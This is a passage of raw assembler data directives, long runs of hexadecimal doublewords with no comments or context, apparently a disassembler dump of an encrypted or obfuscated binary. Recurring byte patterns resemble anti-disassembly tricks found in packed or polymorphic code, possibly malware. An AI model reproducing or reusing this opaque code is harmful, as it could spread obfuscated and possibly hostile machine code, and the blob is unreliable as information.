		dd 0EBCA810Ch, 8B3512B5h, 4B7C0185h, 10E806h, 0EE8F0000h
		dd 35381C0Bh, 0A5CB8FDEh, 539721BBh, 8B5670B3h,	44301995h
		dd 895A5E06h, 8B660847h, 13E958D3h, 72000000h, 4D0A2F4h
		dd 0A996795h, 0A7A149DDh, 2E789ECDh, 8D8DC990h,	6441A99h
		dd 0BE6691FCh, 8B508364h, 6A91D0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 7AD723C3h, 0C67210h
		dd 0B70F9688h, 0E9B5FFF1h, 0F064432h, 2B68F2BFh, 52D1016Bh
		dd 0D096BA57h, 5A5E54AAh, 0D5240481h, 312EFEA4h, 440D198Dh
		dd 19B5FF06h, 89064425h, 441D3195h, 820F5706h, 6, 1665958Bh
		dd 0FF5E0644h, 1BD7BAD0h, 0B58B0CA5h, 6441F71h,	0B8h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0F00E3DDFh, 0C00B62CFh, 6F840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 9AA37FC3h
		dd 40D14718h, 958BF4D5h, 6442AB5h, 2CEDB5FFh, 81660644h
		dd 0FFA7FAE2h, 440BF995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 78A41F1Eh
		dd 89C346C4h, 4428658Dh, 68A0F06h, 89000000h, 4430C58Dh
		dd 0E8C08B06h, 7, 781D0D66h, 8B266AA7h,	441D1195h, 0BD835E06h
		dd 64420CDh, 83097500h,	440B25BDh, 19740006h, 0C08B5350h
		dd 42DB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h
		dd 25BD8358h, 6440Bh, 53501774h, 42DB8h, 29858900h, 8D064422h
		dd 46A5579Dh, 5BD3FF06h, 0D0BF0F58h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 1EC35040h, 5B58B0Ch, 8B06442Dh
		dd 0C8BE66C0h, 0EBC08BEDh, 0E0549604h, 496E979h, 21830000h
		dd 0B82C12BBh, 279BA50Ch, 0BD221CB5h, 1E88B61Fh, 32D0FA6h
		dd 9C35AF19h, 288143A2h, 9831AB16h, 2E873DA6h, 0EA910E6Ah
		dd 0E3C2E50Eh, 0D64F07B5h, 5FC9F76Eh, 11724CE5h, 8FF4CA53h
		dd 12724CD5h, 93D18817h, 0DBFAC930h, 532863FAh,	4BF96AC7h
		dd 0F765DCE2h, 893BAD93h, 0D0793110h, 50C973EEh, 0D44DF76Eh
		dd 0EE4BD7ACh, 5E60C973h, 79E67FE5h, 0C93094BFh, 54B9651Eh
		dd 1F4B3F0h, 6905h, 0D64FB700h,	0AF68F76Eh, 0CC93094h
		dd 0DE46AB77h, 1701F4B3h, 1, 0BB2B15A5h, 77F4109h, 0B92D370Eh
		dd 2C0D9448h, 43A1F45Eh, 61C5FB62h, 88239A6h, 6A4BC930h
		dd 7EA910Eh, 0C2E3C930h, 0DB447AE3h, 7CEBD32h, 81FE8784h
		dd 42DBFADBh, 4BA87209h, 0A4C069DBh, 205A14D6h,	0FBB3E900h
		dd 4DE460C5h, 35AF1729h, 2B15CF7Dh, 7F4109BBh, 0FCC25B09h
		dd 0DCB8DC88h, 30949843h, 5B2C35C9h, 365F97F6h,	5B017E40h
		dd 8AC2E3C2h, 0AC760D13h, 0ABA2B15h, 5A0A7C42h,	0EC58CDF3h
		dd 36D74B75h, 0EF1841CCh, 0EA7352E4h, 0B54CD6ADh, 31A81C8Bh
		dd 66E5810h, 1B01F47Dh,	0B0AA4269h, 327AD0E7h, 6062h, 7115D000h
		dd 30942BEEh, 0CF6DD4C9h, 20017756h, 0E7BEDD52h, 6D255A88h
		dd 0D64FF553h, 0A0C478E8h, 24BD279Eh, 9FD44D05h, 6BDD3AE4h
		dd 0F86E50F9h, 76EBD54Ch, 63185FC6h, 6B0252B7h,	483301F4h
		dd 81000000h, 0C74D94Fh, 0F56CD84Fh, 4DD4F5D4h,	35AC1073h
		dd 47FA245Fh, 1D550F79h, 0B61FC523h, 6DD74F04h,	94AD6BF4h
		dd 0F254C930h, 6CD5EB72h, 780369F0h, 40A60DAEh,	0A716DC5Ch
		dd 8F9BE086h, 0F4693AAAh, 1FB01h, 4F490000h, 0CEF069D3h
		dd 0E76EF55h, 0D44CA975h, 0EB87C168h, 3DA2C6A2h, 0C930947Eh
		dd 0DE1C6E4Fh, 3893FA4Fh, 8916723Ah, 0CF748323h, 8BEF8BAAh
		dd 0EC636514h, 0F4766C2h, 893BA896h, 3FA51E20h,	638039A6h
		dd 2A51C2ECh, 32B21300h, 17E52456h, 0B318DE53h,	0F76C52FBh
		dd 8EB0D44Dh, 1332AB11h, 4400655Bh, 6EB8C3DDh, 9A02481h
		dd 0AFF7C73Fh, 11E6CFBh, 37DE0000h, 0E976129Bh,	0CF74C1A3h
		dd 0E65EC6F8h, 60F9D8AEh, 1B7FE55Eh, 6739E07Fh,	0B392C2ECh
		dd 0F76C52FBh, 79EAD44Dh, 374C52CBh, 0AF3054EBh, 0C2EC66ECh
		dd 8AB4FCDDh, 0ABCFAB19h, 0EC678534h, 2F6746C2h, 8654B086h
		dd 0A7D5FBB0h, 0F364D97Ah, 96C68E31h, 30h, 4ACC80F2h, 0EBE3406Ch
		dd 9F3711A3h, 7EED7216h, 0CFC93094h, 31E877EEh,	62C93094h
		dd 0BC580D19h, 27821D79h, 0A0C93094h, 99BC2881h, 0E000000h
		dd 76129B37h, 74A097E9h, 4ED7F6CFh, 8B141370h, 0C2EC87D0h
		dd 50F9D8F9h, 0D64FF56Eh, 0EC898D49h, 0A31988C2h, 259F043Ah
		dd 9447D8BCh, 35C2EC88h, 0FA245F14h, 7136802h, 6DD74E70h
		dd 0A39DD5F4h, 0BB299D42h, 0DD75339Ah, 0AFAB3450h, 1EC9380Dh
		dd 2B98A63Fh, 3C5820B9h, 0E57A9D02h, 0C9210B36h, 0E97B697h
		dd 0B6335A7Ch, 466791E8h, 34A9750Eh, 775119Ch, 0E2E64538h
		dd 2D490123h, 53117749h, 0D391F4CAh, 24A6B4Ah, 6CDB9D9Dh
		dd 6D0928CFh, 0D54CF053h, 0A715BCF4h, 9C037115h, 1B4742A4h
		dd 9E7A21BEh, 3753C92Fh, 2F9DF1A8h, 0DAFBDAC9h,	0F13CD492h
		dd 240E0A95h, 81BFCF7Bh, 1AC8BA22h, 0A385CE21h,	92AC3514h
		dd 241AB331h, 39C05BFh,	42916C71h, 930F3155h, 101A6129h
		dd 0AB02C223h, 2DB43095h, 6A0EAE13h, 692F1318h,	8C3547FDh
		dd 0D44D051Ch, 0EE4BD7ACh, 5866CF75h, 0DE392AEBh, 6EA8F9B3h
		dd 6408CC1Ch, 3F1E94E3h, 0D32A6h, 15800000h, 942BEE71h
		dd 0BD9CC930h, 4F7FCDF5h, 0C0FE67D5h, 4678E163h, 0C6F861DBh
		dd 427CE55Fh, 0C7F960E4h, 447AE361h, 0C6F861DBh, 457BE25Ah
		dd 0EDFA63E1h, 81E68956h, 4C6h,	4EE8300h, 8B243487h, 0B9682424h
		dd 89000051h, 89512434h, 4C181E1h, 83000000h, 0C8704E9h
		dd 1C895C24h, 0D1685724h, 5F626049h, 6F3FBD55h,	0DDF7523Fh
		dd 5CDCF581h, 0EF31C9EBh, 5FFE895Dh, 241C8B54h,	4C481h
		dd 89570000h, 87B89F7h,	81243C8Bh, 4C4h, 2434FF00h, 4C4815Bh
		dd 0FF000000h, 815E2434h, 4C4h,	0F4C4E900h, 0C77EFFF8h
		dd 5A8A3715h, 0DC784C01h, 0CEC8FA9h, 4B89DAB8h,	0FFC50306h
		dd 0B78C9CE0h, 7B189554h, 5617CF0Ch, 0A677312Dh, 97361A3Ch
		dd 12084F4Dh, 9B78BE06h, 0DDC57653h, 0BF04EB54h, 0E9157A10h
		dd 5E1h, 58F16BD9h, 0EF46FE66h,	62CB71D1h, 0D079E35Ch
		dd 65CC78EEh, 97FDD47h,	59CCF25Bh, 57C42EBh, 63C0FE57h
		dd 680C48E1h, 0E50A44F7h, 61D385C2h, 0F76ED64Fh, 81E55FC9h
		dd 94BF7AE5h, 0E040C930h, 152B0A7Ch, 0D37A32B2h, 0A8CC78EDh
		dd 28B12B96h, 0E6D84109h, 605EC77Dh, 7C951304h,	100CAF99h
		dd 0AE315531h, 0C9303AEBh, 0C2B43094h, 7932ABE3h, 13611802h
		dd 1B840C8Ch, 0C9304760h, 0F93A4869h, 0F6C88089h, 1A7ED78Dh
		dd 9A03C124h, 0A38242A4h, 8B6ED5EBh, 30016514h,	664766C9h
		dd 42F96602h, 8BC93001h, 754BE2AAh, 5337AE0Eh, 0F1A837h
		dd 0E4DAC930h, 7A5BC282h, 0E94B295Bh, 4B1BBEBFh, 1ACA3D03h
		dd 9680FB83h, 48D74AB9h, 0C9300691h, 933A1B3Ah,	0BA4285F7h
		dd 8A6E5E8h, 5F057E40h,	8D9F59C6h, 453EC930h, 0AD1074D9h
		dd 642501F4h, 41000000h
		dd 0C45D077Fh, 0DF340DB6h, 0CAEB241Eh, 0D64F3082h, 0AF68F76Eh
		dd 0CC93094h, 0DE46AB77h, 1701F4B3h, 6,	67D54D73h, 0D74F9D2Fh
		dd 8EAF0D72h, 7BD2917h,	9D3FA09Eh, 592B4F04h, 97D76A1h
		dd 0E291295Bh, 35E19AD2h, 9CF86CD8h, 34D8B8EEh,	61296DAEh
		dd 98DEACC8h, 0C44334F7h, 3BA896DEh, 4F922089h,	0AB12ED9h
		dd 0C3C93094h, 0F11E31B1h, 27069995h, 45A19F06h, 83BD1F80h
		dd 69FBE1Eh, 5AB76318h,	0EFD178ECh, 637F9D76h, 0EE35299Bh
		dd 0F86856CFh, 27EE1717h, 23BCE93Ch, 0C9306C78h, 23517051h
		dd 9B02D51Ch, 0AA331270h, 0A78C96EDh, 1F4844Fh,	0C3E4h
		dd 2B155600h, 3AAA1AB7h, 0FB6D531Bh, 64E3D01Ah,	0C7E6694Bh
		dd 5C00605Eh, 3BA00638h, 0AD3415C7h, 165DC48Ch,	54641672h
		dd 7D1ABC46h, 0E87F3AA5h, 7648C92Fh, 3B73520Ah,	0F79D640h
		dd 0EA98FC55h, 0A66756Eh, 0DFE1A92Dh, 5C62FB69h, 231D79E3h
		dd 0A5841DBFh, 483374EDh, 0D04F2BDEh, 0C9301829h, 0CBF183A2h
		dd 9C5E0F03h, 61B583CBh, 0A601F468h, 0B72229D4h, 8EDC921h
		dd 94235139h, 31612927h, 57h, 0FB671583h, 0FB3BEB9Dh, 3096A8E0h
		dd 0EAAB6EF1h, 0F154C92Fh, 5240573h, 9D3FA29Ch,	44C53A04h
		dd 0C330F808h, 0EE775648h, 56CF75D0h, 5BC661Dh,	2FFEDF9Ah
		dd 0E8C9E8C9h, 0C02DF982h, 0E557FE66h, 0F46DD74Fh, 3094AD6Bh
		dd 0AB770CC9h, 0F4B3DE46h, 11701h, 4FA50000h, 0CEF069D3h
		dd 0E76EF55h, 0D44CA975h, 0EB87C168h, 0F359C6A2h, 7ACF74B0h
		dd 87FCC25Bh, 7AE361C2h, 201E7A5Bh, 0FE571FC5h,	85FE63C0h
		dd 466746DFh, 40DFBBDFh, 0C2EC7899h, 0C45B1332h, 0C2EC7813h
		dd 0EE4BD7ACh, 0F173D075h, 0DE4779D0h, 0FF9BFF66h, 0EC78B960h
		dd 0D3312C2h, 5D632B99h, 26187CE8h, 0A69801BBh,	0ECA4853Fh
		dd 6106B75h, 0A108BC29h, 0D78DFBC5h, 11276F4Eh,	0FBB097B5h
		dd 550F744Ah, 1654D1Dh,	17290000h, 0CA7830ACh, 8BC2B15h
		dd 236A0640h, 0C192D847h, 0FADBCF74h, 39E85D63h, 0EC66F3A6h
		dd 0D4F5D4C2h, 62E2437Dh, 3DED9FFBh, 795DB5C1h,	2380BEF6h
		dd 8DFBC5A1h, 18069FD7h, 0E95AB763h, 88B6D27Bh,	0D9EFA71Dh
		dd 0FBB04F6Dh, 6286h, 2B153400h, 0B19009BBh, 8117BFF9h
		dd 8341A227h, 78E783A2h, 0C9309511h, 0B29E3A48h, 5D3BBE76h
		dd 4FD0A2Fh, 4F0713ACh,	1E811839h, 0C9300E5Bh, 52CEF094h
		dd 0DB7BDB9h, 537297E9h, 6ED5EBCAh, 31FD86CEh, 0B665FA9Eh
		dd 17C92FFEh, 9C387E36h, 7269E06h, 0FE8DFC63h, 0FFDEC92Fh
		dd 0B5C256h, 37700000h,	0BEFC419Bh, 8DE63E1Eh, 92ACC8ACh
		dd 37168F2Dh, 0ED9EE07Fh, 0DEFFCF73h, 580C7947h, 14C7583Ch
		dd 0B5C2EBD5h, 1175DC94h, 0D52FEA75h, 0B998C2EBh, 0EE56CFF1h
		dd 0D62CE877h, 0B829C2EBh, 3FA39D04h, 156E049Dh, 65326009h
		dd 0D9837A96h, 3DE992F8h, 0CA71EE8Ah, 3C2EBB6h,	0EF546A22h
		dd 0F69ADC75h, 0B8A9DBBFh, 36302AF4h, 0BFDBBFF7h, 4BC4CBCDh
		dd 0DDFC65D7h, 0EF5342AFh, 8665148Bh, 4766C2ECh, 1072900Fh
		dd 556BC938h, 47F56CF1h, 0FFDEFFDEh, 0EFF3E99Bh, 76B1CCE7h
		dd 0EFCE570Dh, 211F86CEh, 0E19900C4h, 37DB909Ah, 0DF059AFEh
		dd 0FECF6C2Ah, 37C476DFh, 11C8579Bh, 0BAC93094h, 41DEBA9Bh
		dd 0CF7C1F23h, 72BBDAA8h, 0B37FE251h, 0C8AC8DFBh, 4BD28AF6h
		dd 0F7872339h, 21E2A4h,	76EFD148h, 9D65148Bh, 4766C2E4h
		dd 94F1CF66h, 7AD649D0h, 0B3D6161Dh, 4A74ED4Fh,	7EF069DBh
		dd 0C93C1905h, 0A713A1Bh, 12D23320h, 24BBDFBBh,	0B3B61D75h
		dd 13F7756h, 87B920A4h,	0A2C6A21Ah, 0B61D7E3Dh,	266E4FB3h
		dd 0C7A3C7BFh, 0B61DA158h, 0AD142AB3h, 96B7960Fh, 9C79A5DEh
		dd 9F3DA227h, 21BEDABEh, 0B3B61D7Ah, 933A7253h,	0B99685F7h
		dd 5B67303Ch, 0CB82D13h, 75EF5668h, 1230A43Dh, 82000000h
		dd 2BEE7115h, 9CC93094h, 0A02483BDh, 68501839h,	67D54FDAh
		dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h
		dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 8957EDFAh,	4BD55E7h
		dd 1000000h, 0EF835DEFh, 243C8704h, 1404685Ch, 3C890000h
		dd 241F6824h, 14890000h, 95BD5524h, 81326E45h, 0DD4501C5h
		dd 0EA8952D3h, 5D5AD789h, 24148B54h, 6804C483h,	5998h
		dd 81243C89h, 383D2404h, 428F6C70h, 86A8108h, 6C70383Dh
		dd 5624148Bh, 0C681E689h, 4, 4C681h, 34870000h,	3C8B5C24h
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 0F8EEA5E9h
		dd 98D91AFFh, 8FECB86Eh, 0C503064Bh, 7920E0FFh,	0C75E7B5Dh
		dd 0ED7E7ECDh, 6B984D06h, 1C1D137Eh, 0E5955E3Ch, 5E865D3Dh
		dd 92995121h, 7F1B2C58h, 913B5E41h, 545E11F0h, 74E70AEAh
		dd 0C7493D07h, 7F0B712Ah, 0ABD177B9h, 505C5EF3h, 4B866B3Bh
		dd 39320D94h, 8A055F00h, 163E3D2Fh, 0AE9D2A4Eh,	8C7C18EDh
		dd 4C61798Ch, 47FB7810h, 80CA1999h, 6E80157h, 5B000000h
		dd 29FE7348h, 10BA6698h, 0C0815802h, 68EDh, 0BED1B1h, 81000000h
		dd 0C47C96EFh, 634FF7Bh, 8B5B37B5h, 77F381FAh, 0F4A78B0h
		dd 8Dh,	8EF38100h, 0F457AB0h, 0EB81D2BFh, 5C11BB98h, 8A301C89h
		dd 0ECC181CCh, 813EC7B6h, 89410FEEh, 3820F31h, 0F000000h
		dd 0C681FEBFh, 3189410Bh, 7E9h,	0AFA34200h, 6296A28Ah
		dd 9788FE81h, 850FFFFFh, 0FFFFFFA5h, 6B8504EBh,	12E97C78h
		dd 22000005h, 8BB51CC0h, 3E00A91Bh, 8DB31AC2h, 3F01A814h
		dd 90B21BC9h, 0B2329488h, 2C2251Bh, 8E2E95ABh, 38AC1927h
		dd 2EB1D591h, 0C2E5036Bh, 4FB80A5Ch, 0FD33DD6h,	0E032332Fh
		dd 6658C1h, 0E37AEA5Bh,	744AE3C2h, 0F2CC550Fh, 2E4AD391h
		dd 679384Ah, 0B8B42B4Fh, 2FAB7427h, 3C7455C9h, 4622A202h
		dd 11590B78h, 6EB8C388h, 9A02481h, 980FCC37h, 9AA40D2Ch
		dd 122CB527h, 0D0A831B3h, 2F927FABh, 2AB33192h,	1534B014h
		dd 42A39D34h, 0D2841B82h, 0E3C92FAAh, 3DA98E98h, 0F601F3CAh
		dd 64h,	6ED64F44h, 94AF68F7h, 770CC930h, 0BA2A14ABh, 0AE1930Ah
		dd 666BE841h, 51672F0Eh, 1F43CF5h, 4AF16E0Ah, 83C93029h
		dd 1BAEAA2h, 8000000h, 0F46DD74Fh, 73EA5ACAh, 132DD44Dh
		dd 8AAB32B2h, 30946615h, 9B32FC9h, 0E6C7B190h, 6E155EC7h
		dd 75EF57C4h, 0C381E2DCh, 0F56A0E6Ah, 0C9309446h, 5CEEA687h
		dd 0F26BD94Fh, 88EC58CCh, 0F5914BB6h, 3094AF6Ah, 713918C9h
		dd 0A18DF6E8h, 0F69252B4h, 0C9C4E092h, 144CD924h, 2FFED08Bh
		dd 90D8F9C9h, 269E0739h, 0FE2181BFh, 2FFFBA61h,	133213C9h
		dd 6CB6CD8Ah, 0F41C2F87h, 0B1C401h, 9EA00000h, 47F5BD27h
		dd 2BEE7115h, 9CC93094h, 5DCBF5BDh, 0E0407EE7h,	0BD26187Ch
		dd 941EDD42h, 8EAFC930h, 5F1736AFh, 9BE98DC6h, 9CC4CA32h
		dd 269E0896h, 0F7BF9EBFh, 53B5A28Ch, 625C3891h,	0E1980702h
		dd 0EAC92FD4h, 5273EACBh, 2C2241Ah, 803CA59Bh, 5E3A5E19h
		dd 2FD51AC1h, 0DA92B3C9h, 0B0C275A1h, 0A89B5955h, 13256DBCh
		dd 1F3D4C3h, 7670h, 0D94FC200h,	55CCF26Bh, 0E4407EE7h
		dd 5CC7F960h, 0A962DEE0h, 9B9AD228h, 0DA436246h, 357A21BEh
		dd 7253C930h, 57A5710Ah, 167593Dh, 0B3FBDA43h, 97F15EC8h
		dd 1177492Dh, 4D6CD84Ch, 4F1EAC05h, 90F46DD7h, 0C18933AEh
		dd 3094985Eh, 5B0161C9h, 0DD87FCC2h, 0AA740F44h, 6E503452h
		dd 0F1D049F3h, 0A158C2B9h, 5D57D9D3h, 6E26A45Dh, 0F3EAEC58h
		dd 10901h, 4FBB0000h, 0CEF069D3h, 0E76EF55h, 0D44CA975h
		dd 56680C68h, 2DEC73E9h, 9EC93094h, 185EF7BFh, 3D593D78h
		dd 0A53CA003h, 96B72D9Bh, 0CB8339A8h, 74B0F654h, 0CF5677CFh
		dd 79D094F1h, 0FF66DE47h, 0EC78B760h, 7CE85CC2h, 0F666DBE5h
		dd 0D35F246Fh, 13771379h, 0EC77CD8Ch, 97DFFEC2h, 70D542ECh
		dd 2635DF4h, 0E079EB5Dh, 65FC68DEh, 0DD446544h,	5BC282E3h
		dd 0C75EFE65h, 50C88AB5h, 0D7E98136h, 526CF56Fh, 5E254FEDh
		dd 1D6678D4h, 5BF2411h,	9F2A9AACh, 0C1FFFBB0h, 62C1FF65h
		dd 43E2B2FAh, 50000001h, 76129B37h, 0FE67DD48h,	6CF397DFh
		dd 0CF74C21Eh, 7FE5437Dh, 3CA3C7E6h, 0C2EC677Dh, 51276F4Eh
		dd 83116723h, 8D3A123h,	0E57C5D5Ah, 53FA6ADBh, 284CF86Dh
		dd 1028D34Ch, 80A1C2ECh, 0F66F51C8h, 0FE5940Bh,	0D8E6C2ECh
		dd 0F3D2F369h, 230F746Ah, 0B1831E6Ch, 0C67A35A1h, 0F1B027B4h
		dd 0FCB47C23h, 4AE361C2h, 0AFDF087Ch, 4A2DFBh, 379F0000h
		dd 2562459Fh, 0E05A019Eh, 5273C92Fh, 985E6520h,	5DB863FCh
		dd 3011C930h, 2F117511h, 0B2930AB2h, 5E0665FAh,	6647C930h
		dd 5DB960FFh, 91EAC930h, 0F144D085h, 5D9F0A95h,	1628C930h
		dd 89A831ABh, 8B9501A8h, 27000000h, 76129B37h, 945A6012h
		dd 12A67EBEh, 89A831B3h, 217FE0A8h, 60CF745Eh, 82BCD841h
		dd 1839A024h, 4FF56E50h, 34F082E6h, 984CB823h, 0F4F22DEAh
		dd 0A32182BCh, 0ADF1A53Ah, 64C2EBh, 7FE3DD44h, 473C44DDh
		dd 6F0B61DBh, 34BF151h,	0E441AE78h, 0E38FC960h,	0A51CEAAh
		dd 43C9373Fh, 60C5FB62h, 7E057DE4h, 1A933FB4h, 0BB241A7Eh
		dd 0F1B99801h, 6CB00B6Eh, 0F45D7CCFh, 8E36AE90h, 6BE2917h
		dd 0A19FBE9Fh, 27069F45h, 9B37DD6Fh, 92E97612h,	0FBCF7C25h
		dd 87D43DAh, 5ACBF55Ch,	86EC73EAh, 8F3D1900h, 0D33AA12h
		dd 0CAB22B99h, 0DC9765B1h, 259E7BA7h, 0BB2816BFh, 0AE0E724Ch
		dd 0B8288A31h, 4362434Ch, 0C17BE4DAh, 0CF5B2058h, 0EA430162h
		dd 91F56FD4h, 158C38AFh, 71E57C34h, 3, 4FFB49C3h, 0C0FE67D5h
		dd 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h, 447AE361h
		dd 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E78957h, 4C7h
		dd 4BE5600h, 29000000h,	3C875EF7h, 66685C24h, 89000048h
		dd 0E568241Ch, 89000035h, 0BA52240Ch, 29C701Ch,	8106EAC1h
		dd 411FADC2h, 8BD38906h, 0C4832414h, 283D6804h,	24890000h
		dd 24048324h, 0B8685904h, 8900007Fh, 0DF89243Ch, 5F087989h
		dd 56240C8Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 835B2434h
		dd 9BE904C4h, 0CEFFF8E8h, 9606B836h, 0C503064Bh, 65D1E0FFh
		dd 3E32740Ch, 79F67877h, 4E1537BCh, 0C8904550h,	9F767F16h
		dd 0CE15464Bh, 48100518h, 0EE8740A0h, 90FE2050h, 0A6D56B63h
		dd 9A020022h, 5AA539F9h, 848C17FFh, 1A4715FCh, 0FB550152h
		dd 485060ABh, 87AE41D4h, 0AC2F6100h, 187E4B1Fh,	8D8D4F10h
		dd 64B97D5h, 8ED48060h,	58CB8A57h, 5D8D8961h, 6A06442Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0DE4AC355h, 0F7B22B6h, 7985C7F1h,	64406h
		dd 6A00006Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0A6C4C357h, 919CD966h,	69858926h
		dd 0C7064430h, 44107185h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 10A5DE2Bh
		dd 0A9071F37h, 8CCC80F0h, 2F1B589h, 0B5FF0644h,	6440D55h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A5C35747h
		dd 0BF995FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 3315EBC3h, 0D28C1ADCh, 7E9h, 0BED1DD00h
		dd 7A65A380h, 95FF006Ah, 6441C4Dh, 1EEBC08Bh, 0DA4B75E4h
		dd 0EDF517h, 4F7FACE9h,	6957B6CDh, 2D9145CFh, 6C799DAh
		dd 0E64D16F5h, 0EE811A4h, 24000000h, 0DAA768F3h, 2A86042Bh
		dd 0F588F5B8h, 0AD8531D8h, 5E06442Ah, 7411D981h, 0C68150F6h
		dd 655Eh, 72D8D8Bh, 680644h, 0F000000h,	98Fh, 3800F00h
		dd 0F000000h, 665BFBB7h, 0FF75E6B9h, 9FBA3334h,	581FEDA7h
		dd 1939BD29h, 0C0810644h, 4264EDF7h, 3175BD8Bh,	0E8810644h
		dd 319378C6h, 8101D980h, 0F838F3F0h, 89C88B49h,	0E5801E04h
		dd 0AABB942h, 0EB812A9Ch, 0E6B5C52h, 31098D8Bh,	0C3810644h
		dd 0E6B5C4Eh, 0BE9h, 0BBBB2700h, 0F7C5CBEFh, 255CDEF0h
		dd 9B44FB81h, 850FFFFFh, 0FFFFFF9Bh, 0C48D8DFCh, 6A064B99h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0BA73C351h, 73B021Bh, 5D8D89B5h, 6A06442Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0EAD5C355h, 0C79E3B5Bh, 44067985h, 5B6806h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 34D03213h, 0EE44DA86h, 107185C7h, 644h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0FC3526C3h, 0C73F2308h, 11E95Ch, 7DEB0000h
		dd 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh, 667D21E1h, 0B5FFD68Bh
		dd 64408DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0DBC35747h, 8E0FA334h, 6, 3598D29h, 95FF0644h
		dd 6440BF9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0F4C35141h, 0C45685C3h,	6ABF1714h, 4D95FF00h, 8B06441Ch
		dd 437CEBC0h, 212C4C95h, 0DC1662E2h, 21FC1C2Fh,	0C0EC192h
		dd 2C355654h, 468F23D8h, 4F68CB94h, 0B9A04F9Ch,	2CAB2471h
		dd 4CED8976h, 0EFA9FC64h, 52338349h, 4096D0C4h,	363580A0h
		dd 6EC7F1B8h, 0B927F45Dh, 0A8440C9Eh, 0C8F5F839h, 695EE56Ch
		dd 5B2EC5D0h, 0E8C1647Fh, 57C6E3A4h, 4A1307F9h,	5067A6B7h
		dd 0DF56EE20h, 49CABF92h, 0EFADB250h, 6103D6CDh, 2F4FF1B0h
		dd 0FCA19CC9h, 8B44B574h, 0C0h,	193h dup(0)
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 8A7F6C3h,	6660A864h, 0A42CCE81h, 802DB966h
		dd 8E96061h, 57000000h,	0C8944DACh, 0E9C8F215h,	10h, 7277DEADh
		dd 31823333h, 0C197EF77h, 8797B5D9h, 56006A61h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 83FBE56h, 60F5F7ECh
		dd 2880Fh, 61600000h, 3B1EB866h, 6A9D61h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 3E81FAC3h
		dd 80272561h, 0F6061B2h, 18Eh, 5D61F800h, 244401F9h, 56006A08h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BD6D8343h, 16870Fh,	11E90000h, 32000000h, 21C4A923h
		dd 9C3CBBCAh, 7764A5AAh, 22024028h, 6870F60h, 81000000h
		dd 180B48E6h, 0B3EF8061h, 9DFC5861h, 1800FC3h, 0FC000000h
		dd 0E800Fh, 0F600000h, 8Ah, 8F0F00h, 61000000h,	16850Fh
		dd 860F0000h, 10h, 0BE9h, 78355A00h, 451458Fh, 0F3E692C4h
		dd 13E9C08Bh, 0CF000000h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh
		dd 253EDDB1h, 820FDE8Eh, 8, 2840Fh, 61600000h, 0D2A8BA66h
		dd 0A3E68166h, 9E9ECh, 98CB0000h, 3BB810E0h, 57B8AD05h
		dd 58C0B70Fh, 12E9h, 37572400h,	0E2C54C5Ch, 0D6C5085Eh
		dd 0E1EC52CBh, 0F17CA55h, 0C881D2B7h, 207FCD9Eh, 0DE9h
		dd 0D7684300h, 21974F69h, 612AB9DBh, 21BF95D9h,	663D3C31h
		dd 0F92DEBBh, 0E960F0BFh, 8, 3FDE65BFh,	863A02E8h, 0C0BF0F61h
		dd 0F684EE81h, 7E93B1Dh, 5E000000h, 0A4CCB18h, 11E88FB2h
		dd 10000000h, 260B08F4h, 53800E8Dh, 6A8FF74Ah, 0BA4F56DEh
		dd 0EAF78166h, 5E52585Eh, 0AEC1FEBEh, 0D18B663Ah, 8CD88166h
		dd 14E8B7h, 0B06B0000h,	0A426801Bh, 0FA4BD551h,	0DEA2421Bh
		dd 3C554B9Eh, 0BF66C616h, 8A59F347h, 606FB2FEh,	93C2B966h
		dd 58F0Fh, 0EAB80000h, 613B1ECBh, 68B0Fh, 0D9810000h, 163E0B25h
		dd 0E8DE8BF9h, 8, 0C4EB95E0h, 9F99820Bh, 0BE9h,	6BBEEA00h
		dd 6E4E9AE1h, 5E638A26h, 11E95Eh, 335A0000h, 0E759251Bh
		dd 41FCBC5Ah, 27F86B07h, 8B71863Dh, 68A0FC8h, 0F000000h
		dd 80h,	32F58000h, 0F55AF850h, 0E8DEC380h, 9, 95DA318Fh
		dd 36B301Dh, 820F5024h,	0
		dd 6056585Fh, 665861FCh, 0B78E71BEh, 0DE8166CEh, 8B66BF3Bh
